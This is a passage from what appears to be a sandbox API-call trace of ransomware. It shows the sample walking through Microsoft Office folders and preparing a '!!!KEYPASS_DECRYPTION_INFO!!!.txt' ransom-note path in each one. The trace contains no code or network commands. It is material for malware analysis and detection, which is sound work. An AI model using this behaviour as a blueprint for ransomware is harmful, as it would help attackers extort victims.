pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.892] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.893] GetFileType (hFile=0x194c) returned 0x1 [0276.893] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.893] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.893] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.894] CloseHandle (hObject=0x194c) returned 1 [0276.894] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.894] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.894] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.894] GetLastError () returned 0x3f0 [0276.894] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.894] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.896] GetFileType (hFile=0x192c) returned 0x1 [0276.896] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.896] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.896] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.897] CloseHandle (hObject=0x192c) returned 1 [0276.897] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.897] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.897] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.897] GetLastError () returned 0x3f0 [0276.897] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.897] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.898] GetFileType (hFile=0x1950) returned 0x1 [0276.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.899] CloseHandle (hObject=0x1950) returned 1 [0276.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.899] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.899] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.899] GetLastError () returned 0x3f0 [0276.899] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.899] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.903] GetFileType (hFile=0x1954) returned 0x1 [0276.904] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.904] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.904] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.905] CloseHandle (hObject=0x1954) returned 1 [0276.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.905] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.905] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.905] GetLastError () returned 0x3f0 [0276.905] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.905] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.906] GetFileType (hFile=0x1958) returned 0x1 [0276.906] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.906] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.906] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.907] CloseHandle (hObject=0x1958) returned 1 [0276.907] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.907] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.907] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.907] GetLastError () returned 0x3f0 [0276.907] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.907] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.909] GetFileType (hFile=0x1960) returned 0x1 [0276.909] CloseHandle (hObject=0x1960) returned 1 [0276.910] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.910] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.910] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.910] GetLastError () returned 0x3f0 [0276.910] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.910] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.911] GetFileType (hFile=0x1964) returned 0x1 [0276.912] CloseHandle (hObject=0x1964) returned 1 [0276.912] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.912] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.912] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.912] GetLastError () returned 0x3f0 [0276.912] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.912] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.913] GetFileType (hFile=0x1968) returned 0x1 [0276.914] CloseHandle (hObject=0x1968) returned 1 [0276.914] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.914] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.914] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.914] GetLastError () returned 0x3f0 [0276.914] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.915] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.916] GetFileType (hFile=0x196c) returned 0x1 [0276.917] CloseHandle (hObject=0x196c) returned 1 [0276.917] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.917] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.917] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.917] GetLastError () returned 0x3f0 [0276.917] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.917] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.918] GetFileType (hFile=0x1970) returned 0x1 [0276.919] CloseHandle (hObject=0x1970) returned 1 [0276.919] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.919] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.919] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.919] GetLastError () returned 0x3f0 [0276.919] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.919] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.921] GetFileType (hFile=0x195c) returned 0x1 [0276.922] CloseHandle (hObject=0x195c) returned 1 [0276.922] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.922] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.923] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.923] GetLastError () returned 0x3f0 [0276.923] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.923] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.923] GetFileType (hFile=0x1974) returned 0x1 [0276.924] CloseHandle (hObject=0x1974) returned 1 [0276.924] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.924] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.924] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.924] GetLastError () returned 0x3f0 [0276.924] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.924] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.925] GetFileType (hFile=0x1978) returned 0x1 [0276.926] CloseHandle (hObject=0x1978) returned 1 [0276.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.926] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.926] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.926] GetLastError () returned 0x3f0 [0276.926] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\SHELLNEW\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\SHELLNEW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.926] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\SHELLNEW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.927] GetFileType (hFile=0x197c) returned 0x1 [0276.928] CloseHandle (hObject=0x197c) returned 1 [0276.928] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\SHELLNEW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.928] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\walls flashing hull.exe") returned=".exe" [0276.928] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0276.928] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.928] GetLastError () returned 0x3f0 [0276.928] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office 15\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office 15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.928] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office 15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.929] GetFileType (hFile=0x1980) returned 0x1 [0276.929] CloseHandle (hObject=0x1980) returned 1 [0276.930] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office 15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.930] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0276.930] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.930] GetLastError () returned 0x3f0 [0276.930] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office 15\\ClientX64\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office 15\\ClientX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.930] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office 15\\ClientX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.951] GetFileType (hFile=0x1988) returned 0x1 [0276.952] CloseHandle (hObject=0x1988) returned 1 [0276.952] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office 15\\ClientX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.952] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office 15\\ClientX64\\IntegratedOffice.exe") returned=".exe" [0276.952] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe") returned=".exe" [0276.952] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 